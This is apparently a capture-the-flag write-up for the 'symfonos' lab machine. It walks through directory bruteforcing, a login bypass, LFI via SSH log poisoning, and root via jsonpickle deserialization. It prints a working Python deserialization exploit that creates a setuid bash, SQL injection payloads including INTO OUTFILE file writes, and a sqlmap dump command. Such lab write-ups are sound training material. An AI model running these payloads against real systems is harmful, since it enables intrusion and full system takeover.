symfonos

Summary

For this box, some directory bruteforce is needed to discover some php files. One of the php files has an lfi vulnerability but can only be access by authenticating to the other page. The login form can be bypassed and we exploit the lfi. For that we poison ssh logs for exploitation to rce. For privilege escalation we exploit a python web app running locally as root using insecure deserialization of the cookie by jsonpickle.

Reconnaissance

Nmap

Nmap scan report for 192.168.56.105
Host is up (0.00033s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey:
|   2048 f9:c1:73:95:a4:17:df:f6:ed:5c:8e:8a:c8:05:f9:8f (RSA)
|   256 be:c1:fd:f1:33:64:39:9a:68:35:64:f9:bd:27:ec:01 (ECDSA)
|_  256 66:f7:6a:e8:ed:d5:1d:2d:36:32:64:39:38:4f:9c:8a (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

HTTP (80)

On the browser, the only thing that is served is an image. Therefore we need to bruteforce for directories and files.

symfonos

Performing a bruteforce with ffuf we get a gods directory.

ffuf -ic -c -u http://192.168.56.105/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e / -fc 403 | tee root.ffuf
symfonos

In this directory we only have some files, with nothing useful in them.

symfonos

The contents:

symfonos

I decided to use the contents of the files to generate a wordlist for more bruteforce using curl.

symfonos

With this new words I performed bruteforce again but adding extensions.

symfonos

From this we discover sea.php .

When we try to visit this file, we get redirected to atlantis.php which has a login form.

symfonos

On this form if we submit random creds, then visit sea.php afterwards. We are able to access it. I think this behaviour is related to the cookies the app sends after trying to login.

The sea.php has form that loads files based on the god we select. The contents are the log files we discovered in /gods. Based on this behaviour we can try and exploit lfi to get rce.

symfonos

Since the on the url we are passing hades, and it loads content of hades.log. We can assume it appends .log to our input. This restricts us to only loading log files, but that should be sufficient for lfi to rce.

After testing a few log files I could only access auth.log which is located in /var/log/auth.log. These are ssh logs.

Getting shell as www-data

Let’s poison the ssh log by add php code in the username for rce.

symfonos

We can pass the command id to test if we were successful.

symfonos

In the response we have www-data output. Now we can send our reverse shell payload.

symfonos

Shell:

symfonos

In the webroot we can read atlantis.php that had the login form and here we get db creds.

symfonos

The discovered password is also the password for the poseidon user.

symfonos

Privilege Escalation

Performing some manual enumeration locally for privesc paths, I took a look at local listening services. I discovered port 8080 which I used ssh portforwarding to access from my host.

symfonos

A simple web app is running.

symfonos

Looking back at running processes, this appears to be a python app which is running as root. Looks like this is our path to privesc.

symfonos

In /opt I found the source code:

symfonos

Based on the use of pickle, we need to exploit deserialization through the cookie.

I came up with the below script to generate a base64 encoded cookie which when deserialized will create a setuid binary of bash.

import jsonpickle
import base64
import os

class RCE(object):
    def __reduce__(self):
        cmd = ('cp /bin/bash /tmp/suidbash;chmod +s /tmp/suidbash')
        return os.system, (cmd,)

encoded = base64.b64encode(jsonpickle.encode(RCE()))
print(encoded)
symfonos

Setting the cookie and sending the request using burpsuite:

symfonos

We get suidbash

symfonos

And we finally get a root shell:

symfonos

Extras

Checking the redirect on accessing the sea.php.

The code on sea.php only checks if the session isset but not what value it is set to. From atlantis.php when you send wrong creds, the $_SESSION['logged_in'] is set to false.

symfonos

SQL Injection on atlantis.php login form.

When you supply username admin' or 1=1-- - and a random password we get a redirect to sea.php but with admin' and 1=2-- - we get a incorrect login.

This is a blind boolean sql injection. We can intercept the request with burpsuite and save the request to file and exploit this with sqlmap.

symfonos
sqlmap -r atlantis.req --batch --dump --level=5 --risk=3 --threads=5

I was able to dump creds but they weren’t useful as I couldn’t crack the hash.

symfonos

Since we can run sql queries, we can try and write to a file and access it using the lfi. During exploiting of this box I tried this but couldn’t figure out why it failed but on revisiting it afterwards I figured out the issue.

Using this payload in my post request to write to a file using select, we don’t get the usual redirect that signifies that the query was successful.

username=admin' and 1=2 Union Select 1,'2' INTO OUTFILE '/tmp/test.log'-- -&password=a
symfonos

The file is actually written to disk if we check the /tmp folder.

symfonos

The reason that we don’t get a redirect is that no rows are returned by the query when writing files therefore the php code returns a false and doesn’t redirect to sea.php.

symfonos

Now if we try to include the test.log in /tmp using the lfi, it fails. The reason for this is because some services are configured to have a private tmp folder which isn’t the same as the usual /tmp. The below answer I found explains this.

symfonos

If you look at the previous screenshot you’ll notice the folders beginning with systemd-private and one of those seem to belong to apache2.

With this knowledge, we need to use other directories to write files in. Since we are exploiting sql injection for this, we need folders that the mysql user can write. I discovered /var/lib/mysql and /dev/shm are suitable for this.

Something else to note is that if a file exists, sql will not overwrite it. Therefore if you need to make changes to what you’re writing you’ll need to write to another non-existent file.

Testing this using /var/lib/mysql the file gets written.

username=admin' and 1=2 Union Select 1,'test' INTO OUTFILE '/var/lib/mysql/123456.log'-- -&password=a
symfonos

Then accessing it using the lfi works this time.

symfonos

Something else also to note is that the db user in this case is the mysql root user.